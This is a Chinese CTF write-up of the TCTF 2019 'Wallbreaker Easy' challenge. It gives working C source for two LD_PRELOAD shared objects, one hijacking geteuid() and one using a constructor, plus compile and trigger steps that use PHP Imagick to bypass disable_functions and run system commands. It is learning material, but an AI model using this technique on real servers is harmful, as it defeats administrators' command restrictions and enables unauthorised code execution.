TCTF 2019 wallbreaker easy

好题,学习一波
题目地址:http://111.186.63.208:31340/
tip:
WALLBREAKER EASY
Ubuntu 18.04 / apt install php php-fpm php-imagick

进去之后给了一段文字描述:

提供了一个webshell以及获得flag的方法
测试发现给出的webshell并不能执行系统命令,执行phpinfo()发现禁用了所有的系统命令函数:

结合给出的描述,显然是要利用php-imagick来绕过disable_function的限制
测试时发现我们只对他给出的/tmp/32位Hash目录拥有读写权限(Hash应该包含ip的数据经哈希得到的)
一开始以为是要利用Imagick的RCE漏洞,从phpinfo()看了一下版本,已经被修复了,无果。。
赛后在群里看大佬们谈笑风生得知是利用环境变量LD_PRELOAD突破disable_functions。。
参考这篇文章
原理如下:
设想这样一种思路:利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),a.bin 内部调用系统函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载 c.so,我想在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。基于这一思路,将突破 disable_functions 限制执行操作系统命令这一目标。
参考文章中使用的是mail,可惜同样在disable_function中,这就需要其他方法
这里有两种方法
①同样还是劫持函数geteuid()
ImageMagick在解析其不可解析的文件类型时,会尝试调用第三方程序来加载。此时,就会启动一个新的进程。
bypass.c源码如下:

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
int geteuid ()
{
	unsetenv("LD_PRELOAD");
 	system("/readflag > /tmp/a37db9fc9b410483e9b444153fd8227a/flag.txt");
}

注意其中的unsetenv是必须的

通过 LD_PRELOAD 劫持了启动进程的行为,劫持后又启动了另外的新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD。最直观的做法是调用 unsetenv("LD_PRELOAD")

在ubuntu18.04环境下使用以下命令进行编译:

gcc -shared -fPIC bypass.c -o bypass.so

将编译好的.so文件上传到base目录

随后传一个doc后缀的文件,内容随意

然后设置LD_PRELOAD并使用ImageMagick解析doc文件来触发执行我们的代码

查看base目录可以看到flag已经被保存下来了,readfile读取即可


②采取__attribute__((constructor))

GNU C 的一大特色就是__attribute__ 机制。__attribute__ 可以设置函数属性(Function Attribute )、变量属性(Variable Attribute )和类型属性(Type Attribute )
constructor参数让系统执行main()函数之前调用函数(被__attribute__((constructor))修饰的函数).同理, destructor让系统在main()函数退出或者调用了exit()之后,调用我们的函数

服务器访问突然被拒绝了。。明天再写吧
--------------------------------------------
服务好像关了。。。算了不写了,大概参考一下这个
--------------------------------------------
感谢xiaoxi师傅的docker,本地继续。。

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int __attribute__((__constructor__)) eustiar(void)
{
	unsetenv("LD_PRELOAD");
 	system("/readflag > /tmp/3b1412753f475cc969c37231dd6eaea2/flag.txt");
}

与第一种同样的方式编译,上传,利用
它无需劫持某个特定函数,只需要启动了新进程就可以执行。

打赏作者

发表评论

电子邮件地址不会被公开。 必填项已用*标注